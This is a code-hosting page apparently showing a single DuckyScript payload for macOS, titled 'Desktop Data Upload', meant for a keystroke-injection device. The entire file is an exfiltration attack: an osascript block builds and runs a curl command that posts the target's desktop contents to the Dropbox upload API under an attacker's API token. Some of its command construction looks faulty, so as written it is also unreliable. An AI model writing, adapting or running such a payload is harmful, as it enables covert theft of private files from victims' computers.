Files
MacOS-DuckyScripts/Executions/Desktop Data Upload .txt
T
2023-05-14 17:21:16 -05:00

21 lines
723 B
Plaintext

REM Author: Narsty
REM Title: Desktop Data Upload
REM Version 1.0 MacOs
osascript -e 'tell application "Script Editor"
set desktopPath to POSIX path of (path to desktop folder)
set dropboxAPIPath to "Your API token Here"
set apiEndpointURL to "https://api.dropboxapi.com/2/files/upload"
set uploadScript to "curl -X POST \"" & apiEndpointURL & "\" " & ¬
"-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬
"-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/Desktop/$(basename " & desktopPath & "), \\\"mode\\\": \\\"overwrite\\\"}\" " & ¬
"-H \"Content-Type: application/octet-stream\" " & ¬
"-d @\"" & desktopPath & "\""
do shell script uploadScript
end tell'